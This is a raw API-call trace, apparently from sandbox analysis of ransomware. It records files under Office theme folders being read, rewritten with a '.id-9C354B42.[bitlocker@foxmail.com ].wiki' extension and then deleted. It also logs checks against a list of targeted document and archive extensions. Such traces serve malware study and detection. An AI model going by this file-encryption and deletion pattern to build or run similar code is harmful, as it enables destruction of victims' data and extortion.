SetEndOfFile (hFile=0x1f0) returned 1 [0051.915] CloseHandle (hObject=0x1f0) returned 1 [0051.916] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.916] SetEndOfFile (hFile=0x1dc) returned 1 [0051.916] CloseHandle (hObject=0x1dc) returned 1 [0051.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.917] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0051.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0051.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0051.917] lstrlenW (lpString=".doc") returned 4 [0051.917] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.917] lstrlenW (lpString=".docx") returned 5 [0051.917] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.917] lstrlenW (lpString=".pdf") returned 4 [0051.917] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.917] lstrlenW (lpString=".xls") returned 4 [0051.917] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.917] lstrlenW (lpString=".xlsx") returned 5 [0051.917] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.917] lstrlenW (lpString=".ppt") returned 4 [0051.917] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0051.917] lstrlenW (lpString=".zip") returned 4 [0051.917] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.917] lstrlenW (lpString=".rar") returned 4 [0051.917] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.917] lstrlenW (lpString=".bz2") returned 4 [0051.917] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.917] lstrlenW (lpString=".7z") returned 3 [0051.918] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0051.918] lstrlenW (lpString=".dbf") returned 4 [0051.918] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0051.918] lstrlenW (lpString=".1cd") returned 4 [0051.918] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0051.918] lstrlenW (lpString=".jpg") returned 4 [0051.918] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0051.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0051.918] lstrlenW (lpString=".doc") returned 4 [0051.918] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.918] lstrlenW (lpString=".docx") returned 5 [0051.918] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.918] lstrlenW (lpString=".pdf") returned 4 [0051.918] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.918] lstrlenW (lpString=".xls") returned 4 [0051.918] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.918] lstrlenW (lpString=".xlsx") returned 5 [0051.918] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.918] lstrlenW (lpString=".ppt") returned 4 [0051.918] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0051.918] lstrlenW (lpString=".zip") returned 4 [0051.918] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.918] lstrlenW (lpString=".rar") returned 4 [0051.919] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.919] lstrlenW (lpString=".bz2") returned 4 [0051.919] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.919] lstrlenW (lpString=".7z") returned 3 [0051.919] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0051.919] lstrlenW (lpString=".dbf") returned 4 [0051.919] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0051.919] lstrlenW (lpString=".1cd") returned 4 [0051.919] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0051.919] lstrlenW (lpString=".jpg") returned 4 [0051.919] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.919] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0051.919] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.919] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=20575) returned 1 [0051.919] CloseHandle (hObject=0x1dc) returned 1 [0051.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0051.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.920] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.920] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.920] GetLastError () returned 0x0 [0051.920] ReadFile (in: hFile=0x1dc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x505f, lpOverlapped=0x0) returned 1 [0052.151] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5060, lpOverlapped=0x0) returned 1 [0052.152] ReadFile (in: hFile=0x1dc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.152] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.152] SetEndOfFile (hFile=0x1f0) returned 1 [0052.153] CloseHandle (hObject=0x1f0) returned 1 [0052.153] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.153] SetEndOfFile (hFile=0x1dc) returned 1 [0052.154] CloseHandle (hObject=0x1dc) returned 1 [0052.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.154] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0052.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0052.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0052.154] lstrlenW (lpString=".doc") returned 4 [0052.154] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.154] lstrlenW (lpString=".docx") returned 5 [0052.154] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.154] lstrlenW (lpString=".pdf") returned 4 [0052.154] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.154] lstrlenW (lpString=".xls") returned 4 [0052.154] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.154] lstrlenW (lpString=".xlsx") returned 5 [0052.154] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.154] lstrlenW (lpString=".ppt") returned 4 [0052.154] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0052.154] lstrlenW (lpString=".zip") returned 4 [0052.154] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.154] lstrlenW (lpString=".rar") returned 4 [0052.155] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.155] lstrlenW (lpString=".bz2") returned 4 [0052.155] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.155] lstrlenW (lpString=".7z") returned 3 [0052.155] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0052.155] lstrlenW (lpString=".dbf") returned 4 [0052.155] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0052.155] lstrlenW (lpString=".1cd") returned 4 [0052.155] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0052.155] lstrlenW (lpString=".jpg") returned 4 [0052.155] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0052.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0052.155] lstrlenW (lpString=".doc") returned 4 [0052.155] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.155] lstrlenW (lpString=".docx") returned 5 [0052.155] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.155] lstrlenW (lpString=".pdf") returned 4 [0052.155] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.155] lstrlenW (lpString=".xls") returned 4 [0052.155] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.155] lstrlenW (lpString=".xlsx") returned 5 [0052.155] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.155] lstrlenW (lpString=".ppt") returned 4 [0052.155] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0052.155] lstrlenW (lpString=".zip") returned 4 [0052.155] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.155] lstrlenW (lpString=".rar") returned 4 [0052.155] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.155] lstrlenW (lpString=".bz2") returned 4 [0052.156] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.156] lstrlenW (lpString=".7z") returned 3 [0052.156] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0052.156] lstrlenW (lpString=".dbf") returned 4 [0052.156] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0052.156] lstrlenW (lpString=".1cd") returned 4 [0052.156] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0052.156] lstrlenW (lpString=".jpg") returned 4 [0052.156] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.156] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0052.156] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0052.156] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1453) returned 1 [0052.156] CloseHandle (hObject=0x1dc) returned 1 [0052.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0052.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0052.157] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.157] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.278] GetLastError () returned 0x0 [0052.278] ReadFile (in: hFile=0x1dc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x5ad, lpOverlapped=0x0) returned 1 [0052.290] WriteFile (in: hFile=0x17c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0052.291] ReadFile (in: hFile=0x1dc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.291] WriteFile (in: hFile=0x17c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.291] SetEndOfFile (hFile=0x17c) returned 1 [0052.291] CloseHandle (hObject=0x17c) returned 1 [0052.291] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.291] SetEndOfFile (hFile=0x1dc) returned 1 [0052.292] CloseHandle (hObject=0x1dc) returned 1 [0052.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.292] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0052.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0052.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0052.293] lstrlenW (lpString=".doc") returned 4 [0052.293] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.293] lstrlenW (lpString=".docx") returned 5 [0052.293] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.293] lstrlenW (lpString=".pdf") returned 4 [0052.293] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.293] lstrlenW (lpString=".xls") returned 4 [0052.293] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.293] lstrlenW (lpString=".xlsx") returned 5 [0052.293] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.293] lstrlenW (lpString=".ppt") returned 4 [0052.293] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0052.293] lstrlenW (lpString=".zip") returned 4 [0052.293] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.293] lstrlenW (lpString=".rar") returned 4 [0052.293] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.293] lstrlenW (lpString=".bz2") returned 4 [0052.293] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.293] lstrlenW (lpString=".7z") returned 3 [0052.293] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0052.293] lstrlenW (lpString=".dbf") returned 4 [0052.293] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0052.293] lstrlenW (lpString=".1cd") returned 4 [0052.293] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0052.293] lstrlenW (lpString=".jpg") returned 4 [0052.293] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0052.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0052.293] lstrlenW (lpString=".doc") returned 4 [0052.293] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.293] lstrlenW (lpString=".docx") returned 5 [0052.294] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.294] lstrlenW (lpString=".pdf") returned 4 [0052.294] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.294] lstrlenW (lpString=".xls") returned 4 [0052.294] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.294] lstrlenW (lpString=".xlsx") returned 5 [0052.294] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.294] lstrlenW (lpString=".ppt") returned 4 [0052.294] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0052.294] lstrlenW (lpString=".zip") returned 4 [0052.294] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.294] lstrlenW (lpString=".rar") returned 4 [0052.294] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.294] lstrlenW (lpString=".bz2") returned 4 [0052.294] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.294] lstrlenW (lpString=".7z") returned 3 [0052.294] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0052.294] lstrlenW (lpString=".dbf") returned 4 [0052.294] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0052.294] lstrlenW (lpString=".1cd") returned 4 [0052.294] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0052.294] lstrlenW (lpString=".jpg") returned 4 [0052.294] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.294] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0052.294] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.305] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1347) returned 1 [0052.305] CloseHandle (hObject=0x1f0) returned 1 [0052.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0052.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.306] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.306] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.332] GetLastError () returned 0x0 [0052.332] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x543, lpOverlapped=0x0) returned 1 [0052.334] WriteFile (in: hFile=0x17c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x550, lpOverlapped=0x0) returned 1 [0052.335] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.335] WriteFile (in: hFile=0x17c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, 